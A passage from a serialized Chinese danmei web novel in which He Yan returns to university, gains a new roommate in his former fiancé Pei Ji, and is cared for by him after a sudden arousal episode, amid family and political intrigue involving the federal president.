但他或许有些明白杭凌一为什么会如此执着追寻真相了,当真相化作利刃,能一刀劈开联邦政府粉饰太平的假面,这种快感的确比什么都要让人兴奋。 这不是能急于求成的事,但只要他操作妥当,眼下的确有一个能够接触裴行赫的机会。 贺衍划开手机锁屏,点开了中午随意扫了眼的暑期实习公告。 [铜海大学暑期实习工作安排通知……学生可以自主联系实习单位,也可等待学校分配。法学专业实习方向可选:律所、企业法务部、政府单位等相关领域。] 联邦政府每年假期都会有实习生招募,表面上是公开选拔,但这些招募从来和普通的平民无关。 这些没有薪资、任劳任怨的“志愿”实习岗位也有高下之分,核心部门的实习岗位的名额,不过是政商世家心照不宣的筹码,为子女未来进入政坛铺就的第一块垫脚石。 贺琚眸色晦暗,哥哥看什么这么入迷。 贺琚的指尖悄悄勾住了贺衍的西装下摆,他歪着头凑近手机屏幕,发梢扫过贺衍的手腕,带着刻意为之的痒意。 “哥哥在看什么,”他的声音黏着蜂蜜般的甜腻,但又骤然低落,“我都把这么重要的信息告诉哥哥了,哥哥怎么理都不理我。” 贺衍合上了手机,终于侧眸,贺琚立刻捕捉到他的视线,眉眼弯弯地望着他:“哥哥,你在想什么呢?” 贺衍手指落在了贺琚的头上,轻轻地揉了下。 时间仿佛被按下了暂停键,那种若有似无的触摸,让他心里不真实地感觉加剧。 贺琚瞳孔紧缩,心跳乱了节奏,连呼吸也越发急促。 “哥哥?”贺琚的喉结艰难地滚动,他微微仰头,睫毛颤动,眼梢潋着薄红,直勾勾地看着贺衍。 贺衍注视着贺琚这副近乎虔诚的姿态,突然漫不经心地收回了手:“贺琚,你被解雇了。” 这句话像一盆冰水浇在贺琚身上,他僵在原地,方才还泛着潮红的脸颊瞬间血色尽褪。 “哥哥,你在说什么?”贺琚的嘴角扯出一个扭曲的弧度,眼底翻涌着危险的暗潮。 他下意识去抓贺衍的手腕,却在即将触碰到的瞬间被对方轻巧地避开。 “没听清楚吗?你被解雇了。”贺衍挑了下眉,贺琚的指尖只来得及勾住他西装下摆的一角。 “哥哥真是利用完我,就甩手扔开了,完全不考虑我的感受啊。” 贺衍的脚步突然停住,他转过身。 “贺琚。”他声音很轻,却让贺琚瞬间安静下来,“这是你自己的原因。你变得没有价值了,我当然不需要你了。” “那哥哥还想让我做什么呢?” “听话一点。” 贺琚的太阳穴突突直跳,突然低笑出声,眼底的疯狂渐渐沉淀成某种更为可怕的东西。 怎么样才是听话一点呢,如果是像原来那样,完全消失在哥哥的生活里就是听话,那他宁愿做个彻头彻尾的疯子。 哥哥是自己一个人的哥哥,理所应当的应该只能看着自己一个人啊。 这个念头在脑海里疯狂滋长,像毒藤般缠绕着他的理智。 他想象着把贺衍再锁起来,再把他关到一个谁也找不到的地方,让那双冷淡的眼睛只能注视着自己,让那双手除了触碰自己外别无选择…… 光是幻想,就让他呼吸发烫,喉咙干涩。 可就在这时—— 贺衍忽然凑近了他。 贺琚的瞳孔骤然紧缩,所有阴暗的念头在这一瞬间凝固消散。他下意识屏住呼吸,像是怕惊扰了这个突如其来的靠近。 贺琚的喉结滚动了一下,睫毛低垂,遮掩住眼底翻涌的偏执。 他不敢动,不敢说话,甚至不敢呼吸得太重,生怕下一秒,贺衍就会收回这难得的亲近。 但贺衍只是伸手,轻轻整理了下他歪掉的领带。 就这一个动作。 贺琚的唇角不受控制地扬起,眼底的病态执念被驯服成温顺的痴迷。 贺衍的声音很淡:“贺琚,听话一点,别让我生气。” 贺琚低头,嗓音低哑地道了声好。 第107章 第 107 章 新的舍友 第107章 四月初, 初夏已至。 贺氏集团的大小事项重新步入正轨,几个搁置已久的项目也陆续开工。 贺衍决定明日启程返回铜海,令他意外的是, 向来阴晴不定的贺琚这次竟然出奇地配合, 不仅没有闹脾气,反而主动揽下了公司后续的统筹工作。 暮色四合, 贺衍驱车回到小区。 他下意识地抬头看了眼,窗户漆黑一片,裴屷还没回来吗。 自从上次偶遇裴屷之外,贺衍便再没遇见过裴屷。他每天回来的时间不算太早,只是之前回来的时候, 十楼的灯总是亮着。 贺衍迈步走进六号楼内。 与此同时, 电梯“叮”的一声抵达一楼。门开的瞬间, 贺衍猝不及防地撞进了裴屷的眼中,他眨了下眼,才发现裴屷拉着行李箱。 “你这是要出去?”贺衍随口问道。 裴屷垂眸错身而过:“嗯, 借过。” 裴屷的身影很快消失在了夜色之中。 贺衍并没有太过在意裴屷冷淡的态度,他刷卡后按下了十一楼的电梯按钮。 他的机票是明天上午九点的, 大概下午五点就能到学校了。 手机铃声忽然响起,屏幕上跳动着“黄弘资”三个字。 贺衍按下接听键, 还没开口, 电话那头就传来室友活力十足的声音—— “贺衍, 我跟你说, 就是你对床那个平时根本不住宿舍的那个,他今天忽然把所有东西都搬走了。” 黄弘资轻啧了一声:“我问他怎么回事,你猜他说什么?” “说了什么?” 贺衍开了扩音,继续整理行李箱。 “他说他家里嫌他每天来回太麻烦, 直接在学校附近给他租了套房!”黄弘资啧啧感叹,“铜海大学可是市中心啊,这附近的房租,一个月最少一万起步吧。真是人比人气死人……” 贺衍唇角微勾,他听着黄弘资的碎碎念,顺便把衣服叠好放进行李箱,利落地合上了行李箱。 黄弘资终于想起正事:“对了,你什么时候回来?你都请了一个多月的假了吧,马上就要期中考了,你在那之前能回来吗?” “明天的飞机。”贺衍淡淡道。 “真的?!”黄弘资瞬间兴奋起来,“太好了,你终于回来了。这样以后我要是点外卖,还有奶茶第二杯半价,我就不用一个人硬凑了。” 贺衍挑了下眉,忽然问道:“不还有你女朋友?” 电话那头沉默了两秒,黄弘资的声音忽然蔫了下来:“别提了,分了。” “我想复合,但她不愿意。”黄弘资叹了口气,但很快又打起精神,“算了算了,等你回来,咱们去吃顿好的!学校后街新开了家火锅店,据说特别火……” 贺衍听着他絮絮叨叨,懒懒地应了一声:“行,回去再说。” 挂断电话后,房间重新归于寂静。 贺衍指尖轻轻敲了敲已经整好的行李箱,眸色微沉。 明天,就该回铜海了。 桥梁公馆。 裴行赫不喜欢搬来搬去,自他当上联邦总统后,除去联邦总统的官邸圣布宫之外,桥梁公馆是他最常居住的地方。 书房内,灯光投下暖黄的光晕。 桌面上放着的茶杯还冒着热气,茶香氤氲,在暖黄的灯光中袅袅升腾。 裴行赫坐在宽大的红木办公桌后,他摘下了眼镜,修长的手指轻轻揉了揉眉心。 年过四十的岁月并未削减他的气势,只是在眼角刻下了几道极浅的纹路,却更添了几分沉稳。他的唇很□□惯性地抿成一条直线,下颌线条分明,透着不容违逆的强硬。 裴行赫刚刚结束一场冗长的会议,但眉宇间却不见太多疲态,钴蓝色的眼眸在灯光下沉淀出深海般的沉稳。 新任的秘书长符常锋轻叩书房的门,随后将一份文件放在了红木办公桌上。 裴行赫将文件翻开,拿起钢笔在文件上批注着。 裴行赫见符常锋没有离开的意思,便开口问道:“还有什么事?” “先生,少爷离开淮新去铜海了。” 裴行赫盖上钢笔,放到一旁,随后抬眸看向符常锋:“裴屷最近为了治疗眼睛,不是每周都会去铜海?” 符常锋心脏提了一下,以往少爷每周都会去铜海泽伊区的阳岗针灸馆,但这次—— “先生,这次或许不太一样。联邦大学那边方才传来消息,少爷已经通过交换生程序,正式转入铜海大学就读。” 钢笔尖在纸面上顿住,洇开一小片墨迹。 裴行赫缓缓抬眸:“铜海大学?” “是。”符常锋低声说道,“我接到消息的时候,少爷乘坐的那架飞机已经起飞了。” 裴行赫靠向椅背,西裤包裹的长腿交叠。 他的声音低沉醇厚,带着权力者特有的压迫感,不疾不徐:“我记得贺家的那个孩子,是不是就在铜海大学。” 符常锋站在书桌前,不自觉地绷紧了后背。他思索一瞬,立刻回道:“是的,贺衍就读于铜海大学的法学专业。” 裴行赫垂眸,骨节分明的手指有节奏地叩击着红木桌面。 他之前从未想过,前年那场荒唐的联姻,会给裴屷带来这么大的影响。 贺家与政府官员有勾结,而且那个人就在自己身边。当时他默许这场婚事,不过是要借此做饵,本意是钓出藏在幕后的那条大鱼,并没有想过让裴屷跟贺衍真正成婚。 如今鱼已经浮出水面,人选不出所料,马上就要收尾了。但他没想到,这场博弈里最意外的变数,竟是自己的儿子。 裴屷出生就是异瞳,医院当时检查,告知自己他的左眼可能会失明。但十几年来,裴屷的眼睛并没有出现明显的病变。 直到去年一月份,裴屷参加过“贺衍”的葬礼后,就病了一场,高烧不退,昏迷中却不断喊着一个人的名字。 裴行赫端起手边的茶杯,上好的龙井已经凉了,苦涩的茶香在舌尖蔓延。 他并不常回家,陪伴裴屷长大的时间也很少。 记忆里唯一还算深刻的画面,就是年少的孩子踮着脚去够摆放在高处的战机模型。 稚嫩的嗓音带着执拗,说着他未来的愿望:[我以后要成为飞行员,要开战斗机!] 但那是愿望,也只能是愿望。 即便裴屷的眼睛没有任何问题,作为裴家的一员,裴屷未来的道路只有一条。 裴行赫放下茶杯,眸中闪过一丝冷芒。无论什么人,都不该成为裴屷仕途上的变数。 “先生,需要安排人把少爷拦下来吗?” 裴行赫从抽屉中取出一支雪茄,修长的手指拈着烟身缓缓转动。 “不必。”裴行赫开口,声音沉静。 打火机“咔嗒”一声打开,雪茄的尾端渐渐亮起暗红的火光。 “让安全处派两组人盯着裴屷。还有,最近的新教育法案,在姆扎州的各所高校是不是已经落实了。” 符常锋点头。 吐出的烟雾模糊了锐利的轮廓,那双钴蓝色的眼睛微微眯起,裴行赫顿了顿:“那今年暑假,把贺衍调到我身边实习。” 第二天下午,傍晚的云霞染红了铜海大学的宿舍楼。 贺衍推开寝室门的时候,发现宿舍里另外的两个位置都变得空空荡荡。 他奇怪地眨了下眼,拉着行李箱走到了自己的位置前坐下。 黄弘资正戴着耳机,坐在自己的椅子上打游戏,听到动静抬头,咧嘴一笑:“哟,终于舍得回来了?” 贺衍把行李箱往旁边一推,目光扫过另外两张空荡荡的床铺。 他挑了下眉:“不是只搬走了一个,怎么两个都是空的了。” “可不是嘛!”黄弘资把耳机挎到脖子上,手指一边飞快在键盘上跳动,一边说道:“我昨天晚上不是刚给你打过电话,结果今天一大早,我做梦正梦见我女朋友和我复合了呢——” 游戏打输了,黄弘资啧了一声,随后转身看向贺衍继续说道:“结果另一个不常住的哥们儿就哐哐哐进来收拾东西,连个招呼都不打,拎着行李就走了!” 黄弘资耸了耸肩:“我问他为啥搬,他连个屁都没放,直接闪人了。” 贺衍眼底也闪过几分疑惑,但并未在意:“你昨天不是说后街新开了个火锅店,一会儿咱们去那里吃饭吧。” “那感情好,我馋那个挺久了。” 贺衍把脱下外套随手搭在椅背上,开始整理桌面。 黄弘资盯着他看了两秒,忽然眯起眼睛:“嘶,我怎么感觉你这次回来,哪儿不太一样了?” “嗯?”贺衍漫不经心地瞥他一眼。 “说不上来,”黄弘资挠挠头,“就是感觉……” 他卡壳了一下,突然一拍大腿:“对了!我想起另外一件事。一个月前贺氏集团不是换新的掌门人了吗,官网上公布的名字跟你一模一样!我当时还想着你是不是要飞黄腾达了,但我又仔细一想,咱俩都是略阿州土生土长的——” 贺衍听到他这话愣了下。 咚咚咚,宿舍门突然被敲响,打断了黄弘资的话。 “谁啊?”他嘟囔着去开门。 卧槽,这哥们长得忒帅了,而且两只眼睛的颜色还不一样,看着像是水墨画里走出来的一样。 黄弘资张了张嘴,奇怪地问道:“那个,你……谁啊?” 青年没有回答,目光越过他,直接落在贺衍身上。 空气有一瞬间的凝滞。 贺衍的瞳孔猛缩,他缓缓直起身,眼底闪过一丝晦暗不明的情绪:“裴屷,你怎么会在这里。” 裴屷微微颔首,声音清冷:“嗯,很巧。” 黄弘资瞪大眼睛,来回看着两人:“等等,你们俩认识啊?” 裴屷神色平静迈入宿舍内,他走到贺衍面前,抬起了手,指间夹着一张宿舍分配单:“星河湾宿舍101,我住这里。” 第108章 第 108 章 “找人。” 第108章 贺衍接过裴屷递来的宿舍分配单, 他垂眸扫了一眼上面的信息。 星河湾宿舍区一号楼101室2号床,紧挨着自己的1号床,进门后右侧靠里的那个床铺。 裴屷拉着行李箱, 径直走向自己的床位, 将几本书整齐地码在桌上,随后一言不发地开始整理起了位置。 贺衍余光瞥见, 都是飞行器设计相关的专业书籍。 他还以为裴屷会学金融或者政治相关的专业,贺衍神色漠然地将宿舍分配单放到裴屷的桌面上,全程两人没有交换半个眼神。 黄弘资一旁,眼神在沉默的两人之间来回打转,眼神闪烁, 随后他耸了下肩, 坐回自己的位置上。 手机在口袋里震动。 贺衍拿出手机, 黄弘资发来的消息跳出屏幕:[一会儿还去吃火锅不,要不要叫这个新来的。] 贺衍手指在屏幕上快速敲击:[去,不用。现在就去。] 他收起手机, 冲黄弘资偏了偏头:“走吧。” 黄弘资张了张嘴,看了眼仍在整理行李的裴屷, 对方似乎对这里发生的事完全不感兴趣,连头都没抬。 他只好快步跟上贺衍, 关门时忍不住又回头看了一眼, 透过渐渐闭合的门缝, 他看到裴屷终于停下动作, 向站在他身侧后的贺衍看了过去。 黄弘资不清楚贺衍有没有看到这一幕。 但这两人看着也不像是有什么深仇大恨,可气氛怎么这么古怪。他忽然觉得,未来的宿舍生活可能不会像之前那么太平了。 火锅店就在东门附近的一条商业街,相比南门对面高端的云华商圈, 这里充满了市井烟火气,价格也相对实惠很多。 火锅店的人气很旺,又刚好是饭点,门口等位的塑料凳上坐满了人,但他们来得太晚,只能站在门外等待。 “早知道该提前预约的。”黄弘资揉着饿扁的肚子,第无数次看向了火锅店外的叫号屏幕。 贺衍倚在墙边玩手机,店内暖黄的灯光落在他优越的侧脸上,衬得他的轮廓比平日柔和了些许,少了几分不可招惹的冷酷,引得路过的女生频频回头。 落座后,黄弘资终于忍不住问道:“刚才那个新室友,你们之前什么关系啊?” “高中同学。”贺衍头也不抬地在平板上划着菜单。 黄弘资皱了下眉,露出了一个恍然大悟的表情:“哦哦,你高三那年的同学吧。不过你们俩是不是关系不太好,气氛有点怪怪的。” “就那样吧,没什么矛盾。”贺衍把平板递给黄弘资。 那应该就是普通同学吧,黄弘资的心思立刻被美食夺走,也没再纠结刚才的话题。 两瓶冰镇啤酒很快上桌,黄弘资豪迈地碰杯:“庆祝你回来!顺便,唉,顺便庆祝我恢复单身。” 贺衍轻抿一口就放下杯子,但对面的人却越喝越急。 黄弘资的筷子在蘸料碗里无意识地画着圈:“她明明说过……嗝……,最喜欢我了……” 贺衍静静听着,没发表任何意见,也不知道说什么,于是他只是喝酒。 两瓶啤酒见底。 火锅店的热气蒸腾,贺衍额角覆上一层薄汗,刚才还不觉得,但现在怎么这么热。 汗珠顺着脖颈滑进衣领,皮肤下涌动着躁动的热意。贺衍蹙着眉,扯了扯卫衣领口。 “再来,再来一杯!”黄弘资抱着空酒瓶嚷嚷,嘴里还含糊地含着前女友的名字。 贺衍没怎么听进去,只觉得太阳穴突突跳动。 他递给了黄弘资一瓶冰镇的矿泉水。 贺衍准备起身结账,却在站直的瞬间膝盖一软,险些踉跄,他用力撑着椅背,手上的青筋在皮肤下蜿蜒凸起。 贺衍蹙眉,指节抵在太阳穴上按了按,心里暗嗤,一杯啤酒而已,他什么时候酒量差成这样了? 矿泉水瓶的外壁凝结的水珠沾湿了他的指尖,他灌下一大口冰水,冷水滑过喉咙。 贺衍冷着脸走到收银台,他站在收银台前,不得不单手撑住柜台才勉强稳住身形。 “一共是198元,扫这个二维码就行。” 收银台的小姑娘偷瞄他泛红的眼尾,被那抹艳色烫得慌忙低头。 转账提示音响起,贺衍看都没看就按灭了手机。 “您的小票,请收好。” 贺衍点了点头,唇瓣抿紧,小票被他攥得皱成一团。 等他走回就餐位置的时候,黄弘资哭哭啼啼地在打电话,眼泪鼻涕糊了一脸:“……我真的知道错了,你别挂……” “她居然说,说我像条哈巴狗——” 摇晃的视野中,黄弘资挂断了电话,突然嚎啕大哭。 贺衍捏了捏眉心,虽然黄弘资看起来有些惨不忍睹,但至少他酒醒了。 他摇了摇头,拿起刚才没喝完的矿泉水,将冰水一饮而尽,但这股凉意非但没有缓解燥热,反而像是往火堆里浇了桶油。 两人走出火锅店,黄弘资把钱转了一半给贺衍,但贺衍没收。 黄弘资晕头转向地被火锅店外的塑料凳绊了一下,贺衍下意识地伸手扶了他一下。 可掌心刚贴上对方的手臂,便骤然松开了手。 不对劲。 他低头看着自己微微发颤的手指,一股异样的燥热从小腹蔓延,烧得他指尖发麻,这种熟悉的、令人战栗的燥热让他呼吸都重了几分。 “靠!”黄弘资失了平衡,一屁股坐在地上:“不是,哥们,你干吗呢?” 贺衍下颌绷紧,嗓音低哑:“抱歉。” 他随便找了个借口,让黄弘资先回去。 黄弘资一脸错愕地眨了眨眼,看着贺衍转身走向了一条黑暗的小路。 黄弘资推门走进宿舍的时候,已经基本没了醉意。 听到动静,裴屷手上的动作顿了一下,这个脚步声,不是贺衍。他微微敛眸,将衬衫挂进衣柜,随后关上了衣柜的门。 黄弘资走到位置上的时候,瞥见裴屷书桌上那台笔记本电脑,金属外壳在台灯下泛着冷光。他下意识咽了咽口水,这玩意儿够他两年的生活费了。 有钱人家的少爷啊。 说起来,他虽然听表哥说贺衍高三转学了,但还不知道贺衍转到哪里了呢。 “那个,裴、裴屷对吧?” 裴屷缓缓转身。 方才在贺衍面前尚算温和的气场此刻彻底冻结,裴屷掀起眼皮:“有事?” 简单的两个字让室温骤降。 你是学什么专业的啊,哪里人,高中在哪里上啊?黄弘资突僵在原地,准备好的寒暄全卡在喉咙里。 就在他干笑着想撤退时,裴屷忽然开口,冷冽的声线微妙地软化了几分:“贺衍,他平时干什么?几点回宿舍?你有他的课表吗?” 黄弘资瞪大眼睛,他结结巴巴地回答:“呃,六点?但是也不确定吧。我和他不是一个专业,我只知道贺衍的课表大概时间,其他的我也不清楚。” 这两人真的是贺衍说的那种普普通通的高中同学吗。 表哥和贺衍也是高中同学,还坐了整一年的同桌。但他可从来没有在他们两人之间感觉到过这种微妙感。 贺衍将发热的额头抵在小巷拐角的墙面上,偶尔有学生路过,说笑声顺着风飘进这条小巷,与他压抑的呼吸交织在一起。 他急促地喘了口气,呼吸微沉,黑色的运动裤勾勒出他逐渐苏醒的轮廓,后腰处已经沁出一片汗渍,衣料摩擦过腰腹时,激起一阵细微的战栗。 他以为自己已经完全摆脱了,但这种感觉,太熟悉了。 贺衍闭了闭眼,指节攥紧。 他和黄弘资今晚是临时起意,而且吃喝的食物都一样,不可能有人故意下药。 所以,最大的可能,是因为他摄入了太多酒精。 喉间溢出的咒骂带着颤抖的尾音,贺衍把脸埋进掌心,指缝间露出的耳尖通红。 幸好天已经黑透了,幸好今天是周末,学校里人本就不多,也不会有人往这里来。贺衍自嘲地扯了扯嘴角,再等一会儿,等人少了他就能回去了。 手机铃声突兀地响起,贺衍浑身一颤,拐角处又突然传来脚步声,他浑身的肌肉瞬间绷紧,直到脚步声渐远,他才泄力地靠向身后的墙面。 铃声消失,但手机很快就开始继续震动,鄢忬又一次打了过来。 贺衍眉头拧了起来,最终还是接通了电话。 “阿衍,你已经到学校了吧。”电话那头传来低沉的男声,像大提琴般醇厚的音色里带着几分纵容,“你拜托我的事,已经安排好了。” 贺衍将手机拿远了些,喉结艰难地滚动:“多谢。” “不过为什么非要去总统府办公室?你知道,有些事我需要知道缘由才能——” “下次再说吧。” 电话那头突然静默。 鄢忬敏锐地捕捉到听筒里传来的紊乱的呼吸声,他的声音骤然沉了下来:“你现在在哪里?” 贺衍轻啧了一声,扯了下唇,挂断了电话。 贺衍脱力般滑坐在墙角,远处的灯光在视线里晕开成模糊的光斑。 外面的说笑声渐行渐远,贺衍看了眼时间,强忍着身体的不适,撑着身体站了起来。 又过了半个小时,宿舍门始终没有再被推开。 已经快要八点了。 裴屷突然开口:“贺衍怎么没跟你一起回来?” 黄弘资正瘫在椅子上刷手机,闻言抬头,愣了一下才意识到裴屷问了什么。 他挠了挠头:“我也不太清楚。今天我们吃完火锅,准备一起回来的时候,他说有事就先走了。估计有什么急事,我看他脸色挺不好的——” 空气又变得沉默。 裴屷垂眸,指尖无意识地摩挲着书桌边缘。 是因为不想见到我,才不回来的吗?这个念头像根细小的刺,悄无声息地扎进了心里。 裴屷起身,大步走向门口。 “哎?你去哪儿?”黄弘资一脸茫然。 裴屷头也不回地推开门,声音冰冷:“找人。” 门“砰”的一声关上,黄弘资愣在原地,半晌才嘀咕了一句:“这俩人到底什么关系啊?” 第109章 第 109 章 舅舅和外甥 第109章 裴屷朝着东门的方向走去。 夜色浓重, 微风夹杂着凉意,三三两两的行人穿行在林荫道上。 校园的路灯穿过树叶的缝隙在路上投下斑驳的光影。 裴屷的左眼在昏暗的光线下几乎完全失去了焦距,瞳孔在夜色中涣散开来, 像是蒙了一层雾的淡青色的玻璃珠。 行人的轮廓在视野里融化成了晃动的黑影, 裴屷烦躁地揉了揉左眼,眼睑紧绷, 神色微沉。 他加快脚步,突然捕捉到巷口一闪而过的身影,裴屷猛地转身,只看到一只野猫无辜地喵了一声,在地上打了个滚儿。 裴屷眸中闪过一丝失望, 可那些模糊的光影里, 始终没有他想要找的那个人。 忽然, 裴屷停下了脚步。 铜海大学实验楼的拐角处,一个踉跄的身影从黑暗中走了出来。 额前的碎发被汗水浸透,凌乱地贴在泛红的皮肤上。卫衣的领口也被他扯得松散, 露出一截泛着潮红的锁骨。 视线开始模糊,路灯的光晕在眼前晃动。 贺衍试图聚焦视线, 却只看到自己垂落的发丝在眼前晃动。 耳边突然传来急促的脚步声,贺衍想抬头, 但视野的边缘却开始发黑。他的双腿突然发软, 贺衍的脚步停了下来, 指尖死死扣住粗糙的墙面, 胸膛剧烈起伏着,喉间溢出了压抑的喘息。 裴屷三步并作两步冲上前,刚触到贺衍的手臂,便被上面滚烫的温度惊到了。 他发烧了吗, 怎么这么热。 贺衍整个人像是从水里捞出来的一样,湿透的卫衣布料黏在腰线上,随着急促的呼吸起伏着。 他的睫毛已经被汗水洇湿,薄薄的眼皮泛着病态的红,眼尾那抹潮红像是被指尖揉开的水彩,一路晕染到了耳后。 泪痣缀在泛红的眼尾,更是添了些许勾人的色气,带着说不出的脆弱感。 裴屷的呼吸一滞,唇瓣不自然地抿紧。 他从未见过这样的贺衍。 裴屷的手掌贴在他后腰,隔着湿透的衣料感受到了贺衍肌肉不自然的紧绷。 贺衍想推开他,但抬起的指尖却在触及裴屷衣领时骤然失力,最终只是虚虚地攥住了他的衣角。 裴屷的指尖无意识地抚上那颗泪痣,贺衍突然颤了一下,喉间溢出一声含糊的呜咽。 这个声音让裴屷浑身僵住,他下意识地出声:“贺衍?” “你——”裴屷的话突然卡在喉咙里。他僵在原地,视线不受控制地下移,贺衍的黑色运动裤那里—— 贺衍混沌的思绪被熟悉的声音打破,他艰难地抬眼,瞳孔已经涣散。 “裴屷?”他的声音沙哑得不像话。 裴屷声音发紧,眸色晦暗,他沉下声:“你被下药了!?我送你去医院。” 这一声像是打开了什么开关。 裴屷感觉到怀里的人突然卸了力,整个人软软地倒向他。温热的躯体紧贴上来,隔着湿透的衣料,他能清晰地感受到贺衍过快的心跳,以及那处的灼热。 裴屷喉结滚动,下意识伸手扶住贺衍摇摇欲坠的身体。掌心下的腰肢烫得惊人,随着呼吸剧烈起伏。 “不,不用。”贺衍摇头时汗珠顺着下颌滑落,砸在裴屷的手背上。 贺衍有些难堪地别过脸,睫毛颤得厉害:“没被下药。你松开,让我自己走就行。” 裴屷呼吸一滞,胸口发闷,他的手臂肌肉瞬间绷紧,他不由分说地将人打横抱起。 “你——” 贺衍的挣扎完全没有用,触碰的面积变大,身体几乎没了任何力气。骨头深处泛起的痒袭遍全身,让他不受控制地贴近裴屷。 真是狼狈。 贺衍咬紧牙关,眼底闪过几声自嘲,将脸埋在了裴屷肩头。 就在这时,一道修长的身影出现了两人面前。 鄢忬穿着一身银灰色的西装,看起来像是刚结束什么会议的样子。 那双墨绿色的眸子微微眯起,落在了两人身上,神色晦暗不明。 “舅舅?”裴屷眉梢却下意识蹙起,“您怎么会在这里?” 鄢忬没有回答,目光径直落在裴屷怀中的贺衍身上,当他看清贺衍的状态,瞳孔猛地收缩。 “把人给我。”鄢忬伸手。 裴屷眼中闪过凌厉的冷意,非但没有松手,反而将贺衍往怀里带了带。 鄢忬的眼神,他很清楚那是什么意思。 “舅舅,他是我的未婚夫。”裴屷声音很轻,却带着不容置疑的冷意,“您逾矩了。” “你们的婚约早就不作数了。你确定要在这里耽误时间?再拖下去,对他的身体更不好。” 鄢忬唇瓣绷紧,眼底闪过几丝担心,他温柔地说道:“阿衍,别逞强了。你现在需要我,不是吗?” 贺衍的意识模糊,大脑混沌,他听到鄢忬的声音,身体条件反射地颤了一下。 贺衍无意识地蹭了蹭裴屷的胸口,他微张着唇喘息,呼出的热气扑在裴屷的颈侧,柔软的头发扫过了他的喉结。 裴屷呼吸一滞,手臂收得更紧,冷声道:“很明显他不愿意。我现在就打算带他去医院,不劳您费心。” “一段时间不见,你倒是长本事了。”鄢忬眉骨低压,周身气压低得骇人。 裴屷下颌绷紧,抱着贺衍后退半步。 “裴屷,你不清楚他的情况,把他给我。”他伸手想接过贺衍,却被裴屷再次侧身避开。 两人视线在空中交锋,一时间连空气都变得凝固。 裴屷眸色晦暗,神色同样冰冷,为什么鄢忬这么清楚,难道就是他给贺衍下的药。 “舅舅,我最后说一次,”裴屷声音沉得吓人,“请、您、让、开。” 鄢忬指尖微动,正要强行上前,余光却突然瞥见树影深处闪过一道冷光。他微眯了下眼,视线不着痕迹地落在了周围的暗处。 裴行赫的人。 鄢忬喉结滚动,眸光晦暗不明。修长的手指缓缓收拢,最终垂落身侧,唯有手背暴起的青筋泄露了真实情绪。 最终,鄢忬后退半步,他深深看了贺衍一眼,转身消失在夜色中。 裴屷低头看向怀里的人,他喉结滚动,最终只是将人往怀里带了带。 出租车司机将人送到了距离铜海大学最近的医院。 急诊室。 裴屷站在病床旁边,透过半开的帘子,他能看到医生正在检查贺衍的状况。 医生翻动贺衍眼睑的动作顿了顿,转头看向裴屷时眼神微妙:“你们今晚吃过什么特别的东西吗?” 裴屷摇头:“他应该只吃了火锅。” 医生意味深长地“嗯”了一声,目光在裴屷腕间那枚价值不菲的腕表上停留片刻,眼底闪过一丝不易察觉的轻蔑。 这种纨绔子弟他见多了,八成又是在哪个纸醉金迷的派对上玩过了头。 “初步判断可能是误食了含催情成分的东西。” 医生边说边准备了注射器,他熟练地掰开安瓿瓶,将透明药液抽进注射器,针尖在灯光下泛着冷光。 “先打一针镇定剂缓解症状。”医生用酒精棉球在贺衍手臂上擦了擦,针头刺入了皮肤,贺衍无意识地瑟缩了一下。 “一般来说,三四个小时后症状就会逐步缓解。” 药效很快发作,贺衍紧绷的身体渐渐放松,意识陷入了黑暗之中。 “回去后给病人多喝水,注意观察。”医生微眯了下眼,欲言又止,最终耸了下肩,“镇定剂也不能多打,你们最好懂得节制。” 裴屷没有解释,只是沉默地抱起贺衍。 裴屷抱着昏睡的贺衍走出医院时,冷风扑面而来,他下意识将怀里的人搂得更紧了些。 贺衍的额头抵在他颈窝处,呼吸已经平稳许多,只是皮肤仍旧泛着不正常的潮红。 裴屷垂眸望着他,睫毛轻颤,贺衍现在的状态,明显没办法住宿舍。 “去最近的酒店。”裴屷对出租车司机说道,声音里带着几分疲惫。 后视镜里,司机探究的目光在他和贺衍之间来回扫视,裴屷冷冷抬眸,对方立刻识趣地移开视线。 酒店顶层的套房。 裴屷将贺衍轻轻放在了床上,喉结微滚,最终还是克制地脱去了他的上衣。 贺衍的皮肤很白,衬得胸前更粉了,腹肌在随着他的呼吸微微起伏,人鱼线没入裤腰的阴影里。 裴屷眸色一暗,迅速移开视线,只拿起湿毛巾替他擦拭。毛巾擦过锁骨时,贺衍无意识地轻哼一声,睫毛颤了下,但并没有睁开眼睛。 裴屷呼吸微滞,眼底翻涌着暗潮。他指节收紧,最终只是替他掖好被角,转身进了浴室。 擦干头发后,裴屷躺到床的另一侧,刻意拉开了和贺衍的距离,却又忍不住侧身凝视着他。 贺衍的呼吸绵长,已经陷入了深睡之中。 裴屷看了许久,终于忍不住伸手,指尖轻轻戳了戳他的脸颊,柔软温热的触感让他唇角微扬,像个偷到糖的孩子。 贺衍现在就在我的身边。 裴屷眼底是自己都未察觉的温柔。 他不知道看了多久,意识逐渐朦胧,就在他半睡半醒之际,身旁的人忽然动了。 贺衍不知何时睁开了眼,瞳孔涣散,蒙着一层湿漉漉的水光。 “热……”他唇瓣微张,眼尾的潮红不仅没退,反而更深了几分,锁骨泛着诱人的粉色,随着急促的呼吸起伏。 裴屷浑身一僵,心跳倏然失控,他的喉结滚动着,强迫自己移开视线。 “我去拿毛巾。” 他刚转身,身后就传来布料摩擦的声响。裴屷回过头,呼吸一滞。 被子已经被贺衍热得踢开了,露出线条分明的腰腹,黑色运动裤的抽绳也不知道怎么回事松开了,裤腰松松垮垮地挂在胯骨上,要掉不掉。 “我好热。” 镇定剂怎么失效了,裴屷有些无措,他抿了下唇,快步上前按住贺衍乱动的手,暗哑着声道:“别乱动——” 话音未落,贺衍突然仰头,湿润的唇瓣意外地擦过了他的下颌。 裴屷瞬间僵住了。 裴屷能清晰地感受到贺衍急促的鼻息喷洒在自己喉结上,带着灼人的温度。 “帮我……好热……好难受……” 贺衍嗓音里压着难耐的喘息,眼尾洇湿了一片,衬得他凌厉的眉眼都染上了几分艳色。他难耐地蹭着床单,黑色布料下显眼的轮廓让裴屷太阳穴突突直跳。 裴屷深吸一口气,从冰箱里取出冰块放入水中。 他将毛巾浸入冰水,拧干后轻轻敷在贺衍额头上。 贺衍发出一声舒服的喟叹,但在毛巾温度变高之后又开始不安地扭动。 “忍一忍。”裴屷声音发紧,眸色暗沉,他重新浸湿了毛巾。 这次他顺着贺衍的颈线往下擦拭,冰凉的布料划过滚烫的皮肤,引起一阵战栗。 贺衍突然弓起腰,发出了一声甜腻的呻吟。 裴屷手一抖,毛巾掉在了床上。 与此同时,门外忽然传来了敲门声。 第110章 第 110 章 冠冕堂皇?一己私欲?…… 